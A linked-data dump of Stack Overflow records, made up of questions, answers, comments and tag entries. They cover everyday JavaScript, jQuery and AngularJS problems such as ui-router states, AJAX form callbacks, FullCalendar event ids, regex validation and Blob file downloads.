http://stackoverflow.com/q/25798425
has title: Two ui-view in the same page AngularJs
type: AnsweredQuestion
downvote count: 0
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40352634
has body: I'm new in AngularJs and I have a problem,I have two ui-view in the same page, and when push in the one button for example for show the view goals, appear the form goal in the ui-view 1 and also in the second ui-view at the same time,I worked with states.I don't know how to do for when push one button only show the form belonging to one ui-view, look my source: HTML New Report New Goals Controllerjs: $scope.go = function(route){ $state.go(route); }; RouteJs: .state('projectShow.milestones.goals', { templateUrl: '../assets/projects/formulario.html', }) .state('projectShow.milestones.reports',{ templateUrl: '../assets/reports/formularioReport.html' }) Regards! and thanks for your time !
tagged with: javascript
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/25798507
accepted answer: http://stackoverflow.com/a/25798507
favorite count: 0
tagged with: ruby
tagged with: angularjs

http://stackoverflow.com/comment/40394580
type: Comment
comment on: http://stackoverflow.com/q/25821433
has text: I just thinking using js, using normal comparasion
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40287660
has text: Adding animations is not that easy, because they introduce asynchronous behavior. Here, you're restarting the animations on every `scroll` event, even if the previously triggered animations are still active. Depending on your requirements, you could stop the current animation, or prevent animated elements from fading again, or use CSS3 transitions as IanS does in their answer.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25763087

http://stackoverflow.com/comment/40352451
has text: Seems like a directive scope issue, I'll let you know in a minute
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25798101
type: AnswerComment

http://stackoverflow.com/a/25726781
answers question: http://stackoverflow.com/q/25726670
has comment: http://stackoverflow.com/comment/40220527
has body: You need this : http://jsbin.com/qazex/2/edit console.log("JSON Marks ", json["student"][0][0].marks) var json={"student":{ "0":[{ "name":"manet", "marks":114 }], "1":null, "2":null, "3":null, "4":null, "5":null, "6":null, "7":null, "8":null, "9":null, "10":null, "18":[{ "name":"Om", "marks":75 }] }}; console.log("JSON Marks ", json["student"][0][0].marks)
score: 0
type: Answer

http://stackoverflow.com/comment/40429289
comment on: http://stackoverflow.com/q/25819752
score: 0
type: Comment
type: QuestionComment
has text: @Singh I made another http://jsfiddle.net/2up7jb3a/5/ this somehow works fine in jsfiddle but on localhost the alert only works once and when I change the select the alert doesn't work.

http://stackoverflow.com/comment/40432819
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25837667
has text: So why do you need the "5 seconds"? Why not just concatenate the characters in the scan, and take the last 6 characters to be compared in the following map?
score: 0

http://stackoverflow.com/comment/40482900
comment on: http://stackoverflow.com/a/25870176
has text: Thanks for the advice, i'll test it, and i'll let you know
type: Comment
score: 0
type: AnswerComment

minimax
type: Tag
tag name: minimax
tags question: http://stackoverflow.com/q/25854679

http://stackoverflow.com/a/35488280
score: 5
has comment: http://stackoverflow.com/comment/79210053
upvote count: 5
has comment: http://stackoverflow.com/comment/72567858
downvote count: 0
type: Answer
has body: const downloadBlobAsFile = (function closure_shell() { const a = document.createElement("a"); return function downloadBlobAsFile(blob, filename) { const object_URL = URL.createObjectURL(blob); a.href = object_URL; a.download = filename; a.click(); URL.revokeObjectURL(object_URL); }; })(); document.getElementById("theButton").addEventListener("click", _ =&gt; { downloadBlobAsFile(new Blob( [document.getElementById("ticketlog").value], {type: "text/plain"} ), "result.txt"); }); The value of a download property of an &lt;a&gt; element is the name of the file to download, and the constructor of Blob is Blob(array, options).
answers question: http://stackoverflow.com/q/25734072

http://stackoverflow.com/a/25720847
has body: The representation of false in memory is 0. That's why you obtain those results.
score: 4
accepted answer of: http://stackoverflow.com/q/25720824
answers question: http://stackoverflow.com/q/25720824
type: Answer
upvote count: 4
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25763099
tagged with: forms
has comment: http://stackoverflow.com/comment/40287638
has comment: http://stackoverflow.com/comment/40287470
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40287494
has answer: http://stackoverflow.com/a/25763146
tagged with: ajax
has comment: http://stackoverflow.com/comment/40287438
has comment: http://stackoverflow.com/comment/40287458
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40287454
type: Question
has comment: http://stackoverflow.com/comment/40287430
has title: AJAX request not working properly
tagged with: mailchimp
has body: Hey guys and gals, I have a form that I would like to use AJAX to submit. For the callback function basically what I want to happen is, the form elements disappear (.hide) and are replaced by a div element (which will ready success or something of that nature). I then want the function to pause for 5 seconds and then redirect to a different URL. The AJAX request successfully submits (as I receive an e-mail to the specified address as I should) but the callback function is not carrying out properly. Any suggestions? $(document).ready( function () { var $form = $('form'); function register($form) { $.ajax({ type: $form.attr('method'), url: $form.attr('action'), data: $form.serialize(), cache : false, dataType : 'json', contentType: "application/json; charset=utf-8", success: function(data){ $("#mc-embedded-subscribe-form").hide("slow"); $("#form").html(' Some text that shows up upon successful AJAX request ') setTimeout(5000); $(".button").addEventListener("click", function(){ window.location.href='http://www.neuyear.net/collections/time-domination-products'; }) } }) } } ** UPDATE #1 ** This is the only error code that I am getting when I initially load the website (I've heard these errors only pop up in the dev tools and do not affect the user?) But then when I submit the form I get this error code I've also updated my JavaScript to the below code, taking advice from a few people who posted, it's still not working 100% though $(document).ready(function() { var $form = $('form'); $form.submit(function(){ $.ajax({ type: $form.attr('method'), url: $form.attr('action'), data: $form.serialize(), cache : false, dataType : 'json', success: function(data){ $("#mc-embedded-subscribe-form").hide("slow"); $("#form").html(' Some text that shows up upon successful AJAX request ') } }); setTimeout(function(){ window.location.href='http://www.neuyear.net/collections/time-domination-products'; }, 5000) }); }); Joey
tagged with: javascript

http://stackoverflow.com/comment/40395274
comment on: http://stackoverflow.com/a/25821748
score: 0
has text: @SyedAliTaqi — Ah. I'd missed that part of the question and was just testing against an empty string. Actual solution identified now.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40362797
type: Comment
has text: The only guarantee related to ordering of keys is that `Object.keys` will return the keys in the same order as `for (key in`.
comment on: http://stackoverflow.com/a/25801188
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40243650
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25738828
has text: What is the problem? http://jsfiddle.net/J24yN/408/
score: 9

http://stackoverflow.com/q/25740096
has comment: http://stackoverflow.com/comment/40247813
downvote count: 0
has comment: http://stackoverflow.com/comment/40246398
score: 1
type: Question
has body: Hello I have the following haml javascript code to render a fullcalendar: %script(type="text/javascript") $(document).ready(function (){ $('#calendar').fullCalendar({ defaultView: 'agendaWeek', editable: false, eventLimit: true, events: [ - @kid.availabilities.order("availability_date desc").each do |availability| { id: "#{availability.id}", title: "Available", start: "#{availability.availability_date.to_datetime.strftime("%Y-%m-%dT%H:%M:%S")}", end: "#{availability.end_availability_date.to_datetime.strftime("%Y-%m-%dT%H:%M:%S")}", url: "#", description: 'This is a cool event' }, ], timeFormat: 'H(:mm)', }); }); as you can see I created the events using a ruby code and for every event I'm trying to add an Id in order to catch what event does the user makes click, but I can't make the fullcalendar to show my id. Here is a html example of one of the events: 10 - 11 Available this is the code generate by ruby on rails: $(document).ready(function (){ $('#calendar').fullCalendar({ defaultView: 'agendaWeek', editable: false, eventLimit: true, events: [ { id: "540dc2d320db90214f0003d6", title: "Available", start: "2014-09-09T16:00:00", end: "2014-09-09T17:00:00", url: "#", description: 'This is a cool event' }, { id: "540dc32c20db90214f0003dc", title: "Available", start: "2014-09-09T17:00:00", end: "2014-09-09T18:00:00", url: "#", description: 'This is a cool event' }, { id: "540dc33320db90214f0003e0", title: "Available", start: "2014-09-09T18:00:00", end: "2014-09-09T19:00:00", url: "#", description: 'This is a cool event' }, { id: "540dc38820db90214f0003e5", title: "Available", start: "2014-09-09T19:00:00", end: "2014-09-09T20:00:00", url: "#", description: 'This is a cool event' }, { id: "540dc39520db90214f0003e9", title: "Available", start: "2014-09-09T20:00:00", end: "2014-09-09T21:00:00", url: "#", description: 'This is a cool event' }, { id: "540eba1a20db900512000003", title: "Available", start: "2014-09-10T10:00:00", end: "2014-09-10T11:00:00", url: "#", descriptio…
tagged with: javascript
tagged with: fullcalendar
tagged with: jquery
tagged with: haml
upvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25741104
accepted answer: http://stackoverflow.com/a/25741104
has title: fullcalendar set an id it's not working
tagged with: ruby-on-rails
type: AnsweredQuestion

http://stackoverflow.com/comment/40435340
type: AnswerComment
has text: It works just fine. I think the alt="ad" in the syntax was causing some problem. Thank you very much.
type: Comment
comment on: http://stackoverflow.com/a/25836713
score: 0

http://stackoverflow.com/a/25743710
answers question: http://stackoverflow.com/q/25743421
has comment: http://stackoverflow.com/comment/40260673
downvote count: 0
has body: You should try this : $(document).ready(function () { if ($('#header').css('width') &gt; 400) { $("#menu").sticky({ topSpacing: 0 }); } });
type: Answer
score: 2
upvote count: 2

razor
tags question: http://stackoverflow.com/q/25844185
tags question: http://stackoverflow.com/q/25851891
tags question: http://stackoverflow.com/q/25849398
tags question: http://stackoverflow.com/q/25785579
tags question: http://stackoverflow.com/q/25854662
tags question: http://stackoverflow.com/q/25720250
tags question: http://stackoverflow.com/q/25749846
tags question: http://stackoverflow.com/q/25813547
type: Tag
tags question: http://stackoverflow.com/q/25730903
tags question: http://stackoverflow.com/q/25755112
tag name: razor
tags question: http://stackoverflow.com/q/25723914
tags question: http://stackoverflow.com/q/25813676
tags question: http://stackoverflow.com/q/25806121
tags question: http://stackoverflow.com/q/25851046
tags question: http://stackoverflow.com/q/25803764

http://stackoverflow.com/q/25806163
has body: I want $("#lblCompany").text() to be searched on Google. How can I embed it below? Tried &lt;a href='https://www.google.com.tr/search?q='" +$("#lblCompany").text()+ "'. Didn't work. Redirecting to https://www.google.com.tr/webhp $(".block1").bind('mouseenter', function (e) { $("#plus").append("&lt;a href='https://www.google.com.tr/search?q=' target='_blank'"); }
type: Question
has comment: http://stackoverflow.com/comment/40385986
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has title: Jquery - Embedding Label's text value into anchor href attribute
has answer: http://stackoverflow.com/a/25806249
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40370254

http://stackoverflow.com/q/25823374
has title: Accepting alphanumeric and 1 dot only in AngularJS
score: 0
has body: I am creating an app using CodeIgniter (back-end) and AngularJS (front-end). How can I validate user input in AngularJs that only allows characters from a-z-A-Z, numbers and 1 dot (anywhere as long as not in the end of the string)? /[^A-Za-z0-9\.]/ is that enough? BTW, my code structure is inspired with this simple example from AngularJS docs. https://docs.angularjs.org/api/ng/input/input%5Btext%5D UPDATE: 1 dot must not be the first/last character of the string and it must be optional.
answer count: 1
has answer: http://stackoverflow.com/a/25823688
tagged with: regex
tagged with: angularjs
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25823688
tagged with: codeigniter
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40484727
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25871094
has text: What do you mean by "make the selected value of the combobox to remain"? If you're navigating to another page, that value is gone unless you pass it as a parameter.

http://stackoverflow.com/comment/40364815
type: Comment
score: 1
type: AnswerComment
has text: @JoaoLeal not at all. if you want to config service, use `provider` instead service or factory. here is good demo: http://jsfiddle.net/pkozlowski_opensource/PxdSP/14/
comment on: http://stackoverflow.com/a/25804896

http://stackoverflow.com/q/25793506
type: Question
has answer: http://stackoverflow.com/a/25793527
tagged with: javascript
has title: API data and variable undefined
answer count: 2
possible better answer: http://stackoverflow.com/a/25793527
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25793605
upvote count: 1
accepted answer: http://stackoverflow.com/a/25793605
type: AnsweredQuestion
score: 1
tagged with: http://stackoverflow.com/tag/json
has body: I'm parsing some data that I fetched, but some of the data in the JSON is not defined. For example, a contact object can have first_name, last_name, and job_title, but sometimes job_title is not set. To avoid my scripts crashing because of this undefined variable, I check to make sure the variable exists: if (this.data[x]) { // do your thing } I have to put these checks all over the place and, on particularly large scripts, it makes my code difficult to follow. Is there a better way to tell my code to keep running even if it hits an undefined variable? For example, if an undefined value is met anywhere in the path, return an empty string. Below is an example of a situation where this would be helpful because I could cut back on all the ifs: var filtrate; if (d.ContactValues) { filtrate = d.ContactValues.filter(function(o) { return o.RefContactMethod.key === 'office_phone'; }); if (filtrate.length &gt; 0) { return filtrate[0].value; } //... additional if statements ... } EDIT #1 Just to keep you all posted, I ran some basic performance tests: http://jsperf.com/undefined-var-try-catch-and-other I will run a more in-depth and real-world tests later today.

http://stackoverflow.com/a/25723733
has comment: http://stackoverflow.com/comment/40215484
has comment: http://stackoverflow.com/comment/40215638
answers question: http://stackoverflow.com/q/25723009
has body: Try this- var selected = false; $(document).on("click", "input:text", null, function (ev) { if (!selected) { $(this).select(); selected = true; } else { selected = false; this.selectionStart = this.selectionEnd;//clearing the selection } return this; }); DEMO UPDATE- If you want the cursor position unchanged after selection &amp; deselection $("input:text").data("selectionStart", 0); $("input:text").data("selected", false); $(document).on("select", "input:text", null, function (ev) { if (this.selectionStart === this.selectionEnd) { $(this).data("selectionStart", this.selectionStart); } }); $(document).on("click", "input:text", null, function (ev) { if ($(this).data("selected")==false) { $(this).select(); $(this).data("selected", true); } else { this.selectionEnd = this.selectionStart = $(this).data("selectionStart"); $(this).data("selected", false); } return this; }); DEMO
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40215721

http://stackoverflow.com/comment/40452108
comment on: http://stackoverflow.com/a/25813076
type: AnswerComment
has text: I made it so they slide the direction you wanted them to and updated the fiddle. Is that what you were looking for?
type: Comment
score: 0

http://stackoverflow.com/q/25778388
tagged with: twitter-bootstrap-3
downvote count: 0
tagged with: twitter-bootstrap
type: AnsweredQuestion
type: Question
upvote count: 2
answer count: 1
tagged with: javascript
has title: How to handle click events inside bootstrap button dropdown
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25787098
accepted answer: http://stackoverflow.com/a/25787098
has body: The change events inside the bootstrap button dropdown is not functioning. What could be the reason? How to fix this? Below is my fiddle. I wanted to fire a checkbox changed event but surprisingly the below code doesn't fire. http://jsfiddle.net/20hLtzvr/18/ $('#chk0').click(function() { alert('hello world'); });
score: 2

http://stackoverflow.com/q/25782649
tagged with: mocha.js
favorite count: 0
tagged with: karma-runner
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25784246
upvote count: 1
tagged with: unit-testing
score: 1
type: Question
tagged with: tdd
has title: Karma runner exits on parse error while on TDD
answer count: 1
downvote count: 0
has body: When TDDing with karma I can set it to continue executing when tests fails, but if there is a parsing or syntax error with my javascript it will disconnect all browsers and shutdown, requiring me to "karma start" again. Is there a way to prevent this behavior?
tagged with: javascript

http://stackoverflow.com/comment/40434965
comment on: http://stackoverflow.com/q/25843397
type: Comment
has text: You would also have to bind `this` to something else than the global object, otherwise evaluated code can use it to get a reference back. And clobbering the global object will not allow filtering access to element `Y` but not to element `X`.
score: 2
type: QuestionComment

http://stackoverflow.com/comment/40542884
type: Comment
type: QuestionComment
has text: Do your list have many images?
comment on: http://stackoverflow.com/q/25832142
score: 0

http://stackoverflow.com/a/25780688
answers question: http://stackoverflow.com/q/25779491
has comment: http://stackoverflow.com/comment/61583195
has comment: http://stackoverflow.com/comment/40340323
upvote count: 1
has comment: http://stackoverflow.com/comment/40339100
has comment: http://stackoverflow.com/comment/40341220
score: -3
type: Answer
has body: You can use arguments.callee.caller to get a reference to the caller. However I believe it's (still) deprecated (although its eventual removal could cause a problem for some cases, see here for that discussion) and you miss out on some compiler/interpreter optimizations too. Example: function foo() { bar(); } function bar() { console.log(arguments.callee.caller.name); } foo(); // outputs: foo
downvote count: 4
has comment: http://stackoverflow.com/comment/40339599

http://stackoverflow.com/a/25803879
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40362506
upvote count: 2
has body: In order to apply more declarations, you could simply achieve that by pure CSS: img[style*="float:left"], img[style*="float: left"] { margin-right : 20px; border-left : solid 5px red; } You could play with CSS attribute selectors to select the valid image/element.
type: Answer
answers question: http://stackoverflow.com/q/25803809
score: 2
has comment: http://stackoverflow.com/comment/40362325
accepted answer of: http://stackoverflow.com/q/25803809

http://stackoverflow.com/comment/40472600
has text: @SamuelCaillerie check the date of the article, While I do agree that you should throttle the scroll handler, in this particular case it is not needed, CSS handles the animation not the JS
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25850658
type: Comment

http://stackoverflow.com/comment/40272084
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25753849
score: 1
has text: @Mauro: in it's simplest form, yes. but templates can emit a fragment, and you can chop off chunks of the fragment in tiny or huge batches, in any order you see fit.

http://stackoverflow.com/comment/40209684
type: QuestionComment
has text: @Archana, I included the controller in the question... Did this answer your init-question?
comment on: http://stackoverflow.com/q/25720489
score: 0
type: Comment

http://stackoverflow.com/a/25774864
accepted answer of: http://stackoverflow.com/q/25774687
has comment: http://stackoverflow.com/comment/40315324
has comment: http://stackoverflow.com/comment/40310881
type: AcceptedAnswer
has body: It is exist but it's highly UN recommended because it's pretty hard to read and maintain. var n = $("#example div").length, color; color = (n &lt; 2) ? 'green' : (n &gt; 2) ? 'blue' : 'orange'; $("body").css("background", color);
answers question: http://stackoverflow.com/q/25774687
type: Answer
upvote count: 2
score: 1
downvote count: 1

http://stackoverflow.com/a/25717930
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25717674
has comment: http://stackoverflow.com/comment/40204533
has comment: http://stackoverflow.com/comment/40353328
has body: If this is ASP.Net form use protected variable in code behind and use it in html inside &lt;%= %>. Ex: // in C# inside your protected string _UserName = String.Empty; ... public string Auth(string Username, string Password, string CompanyRpt) { --- _UserName = "nam---"; } In Html &lt;div class="content"&gt; Logo will appear here &lt;%=_UserName %&gt; &lt;/div&gt;
has comment: http://stackoverflow.com/comment/40204357

http://stackoverflow.com/q/25739790
possible better answer: http://stackoverflow.com/a/25739887
has answer: http://stackoverflow.com/a/25739887
tagged with: angularjs
has body: I am using Angularjs and i make a call form server to retrieve data. Data are successfully retrieved but my view is not updated. I don't understand why. Here are the code i use. Angularjs and html code : Data to search Go Name Age {{person.name}} {{person.age}} Controller code : function ListCtlr($scope, $http, $location,$filter) { $scope.formId = {searchInput: ''}; $scope.search = function () { var url='server/search/'+this.searchInput; $http.get(url) .success(function (data) { $scope.persons = data; }) .error(function(data){ $scope.error = data; }); }; } When i inspect the data retrieved form server i get the following JSON data : [{"name":"John","age":12},{"name":"Mary","age":25},{"name":"Garry","age":28}] What's missing please ?
has title: My Angular view is not updated with data form server
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25740059
accepted answer: http://stackoverflow.com/a/25740059
type: Question
tagged with: angularjs-directive
tagged with: javascript
tagged with: angularjs-scope
score: 0
answer count: 2

http://stackoverflow.com/comment/40274193
type: QuestionComment
has text: @elclanrs—if there is no *match* then `.length` will throw an error. Better to use *split* which always returns an array.
comment on: http://stackoverflow.com/q/25755101
score: 0
type: Comment

http://stackoverflow.com/q/25872406
has answer: http://stackoverflow.com/a/25872500
tagged with: jquery
favorite count: 0
linked to: http://stackoverflow.com/q/554273
has comment: http://stackoverflow.com/comment/40487216
has title: How to change image src using jQuery
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25872430
answer count: 4
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25872471
tagged with: javascript
has comment: http://stackoverflow.com/comment/40487365
has answer: http://stackoverflow.com/a/25872444
score: 0
has body: I am trying to access the image src with the following to no avail: $("a.logo img").html(" "); The reason I am doing this is because the image is on a third party that I can't access the codebase to make the change so I am trying to rip out their with my code.

http://stackoverflow.com/a/25760625
has body: The problem is your version mismatch between Angular and Angular-Mocks. This line was added recently in Angular-Mocks: https://github.com/angular/angular.js/blob/v1.2.24/src/ngMock/angular-mocks.js#L59 I could fix this by pushing both Angular and Angular-Mocks to 1.2.22 where this change is not present yet in both projects. But I guess 1.2.24 for both would also work.
downvote count: 0
score: 7
accepted answer of: http://stackoverflow.com/q/25759519
answers question: http://stackoverflow.com/q/25759519
upvote count: 7
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40283557
type: Answer

http://stackoverflow.com/a/25810108
type: Answer
has body: In your event handler you can check to see whether or not the element clicked was your checkbox. This fiddle has an even listener on a big div, but only executes functionality if the user clicked on a li within the div and not the div itself. In your case, it sounds like you want to examine e to see if it is the checkbox and only then call your setPermission method, otherwise do nothing. JavaScript function handler(event) { var target = $(event.target); if (target.is("li")) { target.children().toggle(); } else { //alert('target is not li'); } } $("div").click(handler).find("ul ul").hide(); HTML item 1 sub item 1-a sub item 1-b item 2 sub item 2-a sub item 2-b
score: 0
answers question: http://stackoverflow.com/q/25809178

http://stackoverflow.com/a/25777004
score: 4
has comment: http://stackoverflow.com/comment/40313807
has body: My first thought would be: "Hello, this is Mike [example]".replace(/(\[.+\])/g, ''); JS Fiddle demo. Or, as noted in the comments: "Hello, this is Mike [example]".replace(/(\[.*?\])/g, ''); JS Fiddle demo. References: JavaScript Regular Expressions.
type: Answer
has comment: http://stackoverflow.com/comment/40313699
upvote count: 4
answers question: http://stackoverflow.com/q/25776973
downvote count: 0
has comment: http://stackoverflow.com/comment/40411569

http://stackoverflow.com/a/25832201
has comment: http://stackoverflow.com/comment/40414337
has comment: http://stackoverflow.com/comment/40414064
has comment: http://stackoverflow.com/comment/40414462
has comment: http://stackoverflow.com/comment/40413931
has comment: http://stackoverflow.com/comment/40421319
score: 0
has comment: http://stackoverflow.com/comment/40420825
has comment: http://stackoverflow.com/comment/40414418
answers question: http://stackoverflow.com/q/25831831
has comment: http://stackoverflow.com/comment/40414796
has comment: http://stackoverflow.com/comment/40420267
has comment: http://stackoverflow.com/comment/40420179
type: Answer
has comment: http://stackoverflow.com/comment/40419947
has body: The function getImage is undefined in your code, but I still think that you've chosen wrong way for getBinairy formatter. I suppose that you makes asynchronous Ajax call to the server inside of the formatter. So the function getBinairy returns "" (the initial value of html variable). I recommend you to change the format of cellValue - the format of data for the column which returned by filling the main grid. For example the data could be JSON encoded object {src:.., width:... , height:... } or {mimeType: ..., charset: ..., base64: ..., width: ... , height: ...} or some other. It's important just that the input data should be full and the formatter will be just produce &lt;img&gt; based on the data without any Ajax calls.
has comment: http://stackoverflow.com/comment/40414195
has comment: http://stackoverflow.com/comment/40414415
has comment: http://stackoverflow.com/comment/40420974

http://stackoverflow.com/comment/40316834
type: Comment
comment on: http://stackoverflow.com/a/25778710
has text: i tried your code and when i press on the second page , i still see the first page content :(
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40292430
score: 0
comment on: http://stackoverflow.com/q/25765576
has text: Don't think it's fair this question got downvoted, I provided all the information and had a large amount of code.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25754456
type: Question
has title: How can I append "?new_page=2" to a URL within javascript? It seems the question mark isn't allowing me to parse
tagged with: javascript
tagged with: jquery
has body: My original code which works is this: function changeURL() { var theURL = location.pathname; var newURL = theURL.replace("/page1/", "/page2/"); return newURL; } $('.currentpagediv').load(changeURL() + ' .secondpagedivclass'); Basically, per How can I dynamically add a URL into javascript, to get a second page's div to display on the first page?, I am trying to add new content from second page into the first page. However, Now I am trying to also add the SECOND PAGE of the second page into the first page, because the way it is set up, it shows page 1, 2, 3, 4, 5 etc pagination at the bottom. I am trying to also show the other pages in the same page. For example, [CONTENT HERE] Page 2, Page 3, Page 4, etc. But I want: [CONTENT HERE] [Page 2 Pagination Link CONTENT HERE] [Page 3 Pagination Link CONTENT HERE] [Page 4 Pagination Link CONTENT HERE] [etc.] Original URL that I am inserting, looks like this: http://theurl.com/page2/somethingsomewhere.html The pagination pages look like this: http://theurl.com/page2/somethingsomewhere.html?new_page=2 http://theurl.com/page2/somethingsomewhere.html?new_page=3 etc. Here is the code I tried first that does not work: $('.currentpagediv').load(changeURL() + ' .secondpagedivclass' + '?new_page=2'); But I learned it does not work because you can't parse the question mark. I read that instead I should use .search to parse the new page. So I tried this: function changeURL() { var theURL = location.pathname; var newURL = theURL.replace("/page1/", "/page2/"); return newURL; } function secondPage() { var secondURL = changeURL() var secondnewURL = secondURL.search('new_page', 2); return secondnewURL; } $('.currentpagediv').load(secondPage() + ' .secondpagedivclass'); In the above code, the only difference from the original working code is the addition of the secondPage() function, and adding that function after .load(. In the code above, I tried to: fetch the url of current page modify the url, and then append ?new_page=2 to the end of th…
tagged with: http://stackoverflow.com/tag/html
tagged with: load
has comment: http://stackoverflow.com/comment/40273672
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25753776
has comment: http://stackoverflow.com/comment/40273091
answer count: 0
tagged with: dynamic
score: 0
has comment: http://stackoverflow.com/comment/40273413

http://stackoverflow.com/a/25807048
has body: JSON.stringify uses the toJSON method - if defined - to serialize objects. Date objects have that method defined in their prototype indeed, and it's pretty much equivalent to Date.prototype.toISOString. So a solution would be redefining Date.prototype.toJSON: I don't really recommend it, as the ISO format is pretty much conventional to transport dates as strings, but it can be done. This example makes use of moment.js: Date.prototype.toJSON = function() { return moment(this).format("YYYY-MM-DD HH:mm:ss"); }; In the end, ask yourself: why should you use JSON.stringify to display a date on the console? Date has plenty of methods to display dates (toString, toUTCString, toLocaleString, toISOString, ... not all of them supported by every browser, to be fair), and if they don't satisfy your needs there are quite some date libraries (like moment.js mentioned above) that can help you.
type: Answer
answers question: http://stackoverflow.com/q/25806833
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25806833
score: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/49907629

http://stackoverflow.com/q/25770961
has comment: http://stackoverflow.com/comment/40303503
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40311727
has body: I'm aware that I can use filter() to select html elements from the DOM. In order to make sure that the html is following current html5 standards, I would like to replace elements like &lt;u&gt; or a bit more exotic &lt;strike /&gt; with their current standard counterparts or remove them at all, where appropriate. So I could do $('strike, s').each(function(index){ $(this).replaceWith('&lt;span&gt;'+$(this).contents()+'&lt;/span&gt;').css('text-decoration','line-through'); }); My question: Is there a way to select non-valid or deprecated without explictly enumerating them in the selector? Which would be impossible if somebody uses a custom tag like &lt;mytag /&gt; or so? I was thinking of making use of DTD's but wouldn't really know an efficient way to do so? This is to be used with node server-side to optimize html.
has comment: http://stackoverflow.com/comment/40302043
has comment: http://stackoverflow.com/comment/40301820
answer count: 0
has comment: http://stackoverflow.com/comment/40301887
type: Question
has title: How to filter deprecated HTML elements with jQuery
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/4053917
score: 0
tagged with: filter
tagged with: http://stackoverflow.com/tag/html

storage
tag name: storage
tags question: http://stackoverflow.com/q/25753685
type: Tag

http://stackoverflow.com/a/25900799
has body: You don't need to use a cookie unless you need to persist data on the users computer, you can use the url parameter by itself to change the form. //page URL http:somewhere.com/index.html?foo=bar&amp;baz=boaz var url = window.location.href; //This function puts all of the params into a js object function getParams(u){ var theURL = u; var params = {}; var splitURL = theURL.split('?'); if (splitURL.length&gt;1 ){ var splitVars = splitURL[1].split('&amp;'); for(var i = 0; i &lt; splitVars.length; i++){ splitPair = splitVars[i].split('='); params[splitPair[0]] = splitPair[1]; } return params; } return false; } params = getParams(url); //Check if there are any params if (params) { var foo = params.foo; //Use foo to make decision here }
type: Answer
has comment: http://stackoverflow.com/comment/40561642
answers question: http://stackoverflow.com/q/25853799
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/40454723
comment on: http://stackoverflow.com/q/25854578
has text: Add a `print_r($_POST)` to your PHP file and you will see all of the items that were transmitted during the posting of the form.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/40398363
type: Comment
comment on: http://stackoverflow.com/a/25816923
score: 0
type: AnswerComment
has text: That try was even better! However, if you have multiple selectboxes on a page with different values and different option groups they all get mixed in together. I highly appreciate it, and value your time, but it still doesn't work. I was hoping this question could help both me and other programmers here on SO, but since you've worked so hard on a solution, and it still doesn't work, you can give up if you wish. =-(

http://stackoverflow.com/comment/78077334
score: 14
type: Comment
comment on: http://stackoverflow.com/a/37187185
type: AnswerComment
has text: @MunamYousuf It's pretty obvious why this piece of code doesn't really work. It tracks the back button of the browser but the button is outside the viewport, hence the coordinates clientX and clientY should not be obtainable. Assuming it works, how about iOS? The back button is at the bottom... Also the way it is written is super inefficient, it is a conditional for every single event triggered... God it's so bad that am going to give it a down vote.

http://stackoverflow.com/comment/40260564
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25748169
type: Comment
has text: This does not answer the actual question. I know quite a bit of jQuery, I am trying to figure out the best way to approach the problem.

http://stackoverflow.com/comment/40280346
comment on: http://stackoverflow.com/q/25758629
has text: I have written var _ = require('underscore'); at the top. Do i need to mention the version or something ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25773057
type: AcceptedAnswer
downvote count: 0
upvote count: 3
has body: Target active li, find the previous/next li, and drill down to the anchor. http://jsfiddle.net/gukne0oL/9/ // Activate bootstrap scrollspy $('body').scrollspy({ target: '.navbar' }) $('.next').click(function (e) { var next = $('.navbar ul li.active').next().find('a').attr('href'); $('html, body').animate({ scrollTop: $(next).offset().top }, 500); }) $('.previous').click(function (e) { var prev = $('.navbar ul li.active').prev().find('a').attr('href'); $('html, body').animate({ scrollTop: $(prev).offset().top }, 500); })
accepted answer of: http://stackoverflow.com/q/25772592
type: Answer
answers question: http://stackoverflow.com/q/25772592
score: 3

http://stackoverflow.com/tag/svg
tags question: http://stackoverflow.com/q/25820927
tags question: http://stackoverflow.com/q/25732618
tags question: http://stackoverflow.com/q/25719685
tags question: http://stackoverflow.com/q/25793161
tags question: http://stackoverflow.com/q/25789086
tags question: http://stackoverflow.com/q/25749805
tags question: http://stackoverflow.com/q/25816270
tags question: http://stackoverflow.com/q/25776676
